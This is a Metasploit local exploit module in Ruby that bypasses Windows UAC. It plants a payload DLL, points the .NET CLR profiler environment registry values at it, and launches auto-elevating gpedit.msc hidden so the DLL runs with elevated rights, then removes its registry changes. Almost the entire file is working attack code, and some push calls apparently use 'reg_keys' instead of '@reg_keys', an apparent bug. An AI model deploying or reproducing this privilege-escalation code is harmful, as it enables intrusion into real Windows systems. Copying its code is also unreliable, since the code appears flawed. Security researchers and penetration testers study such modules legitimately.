##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Post::Windows::Priv
  include Post::Windows::Runas

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Escalate UAC Protection Bypass (Via dot net profiler)',
        'Description' => %q{
          Microsoft Windows allows for the automatic loading of a profiling COM object during
          the launch of a CLR process based on certain environment variables ostensibly to
          monitor execution.  In this case, we abuse the profiler by pointing to a payload DLL
          that will be launched as the profiling thread.  This thread will run at the permission
          level of the calling process, so an auto-elevating process will launch the DLL with
          elevated permissions.  In this case, we use gpedit.msc as the auto-elevated CLR
          process, but others would work, too.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Casey Smith', # UAC bypass discovery and research
          '"Stefan Kanthak" <stefan.kanthak () nexgo de>', # UAC bypass discovery and research
          'bwatters-r7', # Module
        ],
        'Platform' => ['win'],
        'SessionTypes' => ['meterpreter'],
        'Targets' => [
          [ 'Windows x64', { 'Arch' => ARCH_X64 } ]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK],
          'Reliability' => []
        },
        'References' => [
          ['URL', 'https://seclists.org/fulldisclosure/2017/Jul/11'],
          ['URL', 'https://offsec.provadys.com/UAC-bypass-dotnet.html']
        ],
        'DisclosureDate' => '2017-03-17',
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_sys_config_getenv
              stdapi_sys_process_execute
            ]
          }
        }
      )
    )
    register_options(
      [OptString.new('PAYLOAD_NAME', [false, 'The filename to use for the payload binary (%RAND% by default).', nil])]
    )
  end

  def check
    if is_uac_enabled?
      Exploit::CheckCode::Appears
    else
      Exploit::CheckCode::Safe
    end
  end

  def write_reg_value(registry_hash)
    vprint_status("Writing #{registry_hash[:value_name]} to #{registry_hash[:key_name]}")
    begin
      if !registry_key_exist?(registry_hash[:key_name])
        registry_createkey(registry_hash[:key_name])
        registry_hash[:delete_on_cleanup] = true
      else
        registry_hash[:delete_on_cleanup] = false
      end
      registry_setvaldata(registry_hash[:key_name], \
                          registry_hash[:value_name], \
                          registry_hash[:value_value], \
                          registry_hash[:value_type])
    rescue Rex::Post::Meterpreter::RequestError => e
      print_error(e.to_s)
    end
  end

  def remove_reg_value(registry_hash)
    # we may have already deleted the key
    return unless registry_key_exist?(registry_hash[:key_name])

    begin
      if registry_hash[:delete_on_cleanup]
        vprint_status("Deleting #{registry_hash[:key_name]} key")
        registry_deletekey(registry_hash[:key_name])
      else
        vprint_status("Deleting #{registry_hash[:value_name]} from #{registry_hash[:key_name]} key")
        registry_deleteval(registry_hash[:key_name], registry_hash[:value_name])
      end
    rescue Rex::Post::Meterpreter::RequestError => e
      print_bad('Unable to clean up registry')
      print_error(e.to_s)
    end
  end

  def exploit
    @reg_keys = []
    check_permissions!
    case get_uac_level
    when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
      UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
      UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
      fail_with(Failure::NotVulnerable,
                "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")
    when UAC_DEFAULT
      print_good('UAC is set to Default')
      print_good('BypassUAC can bypass this setting, continuing...')
    when UAC_NO_PROMPT
      print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
      shell_execute_exe
      return
    end

    # get directory locations straight
    win_dir = session.sys.config.getenv('windir')
    vprint_status('win_dir = ' + win_dir)
    tmp_dir = session.sys.config.getenv('tmp')
    vprint_status('tmp_dir = ' + tmp_dir)
    exploit_dir = win_dir + '\\System32\\'
    vprint_status('exploit_dir = ' + exploit_dir)
    target_filepath = exploit_dir + 'gpedit.msc'
    vprint_status('target_filepath = ' + target_filepath)
    payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(rand(6..13)) + '.dll'
    payload_pathname = tmp_dir + '\\' + payload_name

    # make payload
    vprint_status('Making Payload')
    vprint_status('payload_pathname = ' + payload_pathname)
    payload = generate_payload_dll

    uuid = SecureRandom.uuid
    vprint_status("UUID = #{uuid}")
    # This reg key will not hurt anything in windows 10+, but is not required.
    version = get_version_info
    unless version.build_number >= Msf::WindowsVersion::Win10_InitialRelease
      @reg_keys.push(key_name: "HKCU\\Software\\Classes\\CLSID\\{#{uuid}}\\InprocServer32",
                    value_name: '',
                    value_type: 'REG_EXPAND_SZ',
                    value_value: payload_pathname,
                    delete_on_cleanup: false)
    end
    reg_keys.push(key_name: "HKCU\\Environment",
                  value_name: 'COR_PROFILER',
                  value_type: 'REG_SZ',
                  value_value: "{#{uuid}}",
                  delete_on_cleanup: false)
    reg_keys.push(key_name: "HKCU\\Environment",
                  value_name: 'COR_ENABLE_PROFILING',
                  value_type: 'REG_SZ',
                  value_value: '1',
                  delete_on_cleanup: false)
    reg_keys.push(key_name: "HKCU\\Environment",
                  value_name: 'COR_PROFILER_PATH',
                  value_type: 'REG_SZ',
                  value_value: payload_pathname,
                  delete_on_cleanup: false)
    @reg_keys.each do |key_hash|
      write_reg_value(key_hash)
    end

    # Upload payload
    vprint_status("Uploading Payload to #{payload_pathname}")
    write_file(payload_pathname, payload)
    vprint_status('Payload Upload Complete')

    vprint_status('Launching ' + target_filepath)
    begin
      session.sys.process.execute("cmd.exe /c \"#{target_filepath}\"", nil, 'Hidden' => true)
    rescue Rex::Post::Meterpreter::RequestError => e
      print_error(e.to_s)
    end
    print_warning("This exploit requires manual cleanup of '#{payload_pathname}'")
    print_status('Please wait for session and cleanup....')
  end

  def cleanup
    if @reg_keys.present?
    vprint_status('Removing Registry Changes')
      @reg_keys.each do |key_hash|
        remove_reg_value(key_hash)
      end
    vprint_status('Registry Changes Removed')
    end
  end

  def check_permissions!
    unless check == Exploit::CheckCode::Appears
      fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
    end
    fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
    # Check if you are an admin
    # is_in_admin_group can be nil, true, or false
    print_status('UAC is Enabled, checking level...')
    vprint_status('Checking admin status...')
    admin_group = is_in_admin_group?
    if admin_group.nil?
      print_error('Either whoami is not there or failed to execute')
      print_error('Continuing under assumption you already checked...')
    elsif admin_group
      print_good('Part of Administrators group! Continuing...')
    else
      fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
    end

    if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
      fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
    end
  end
end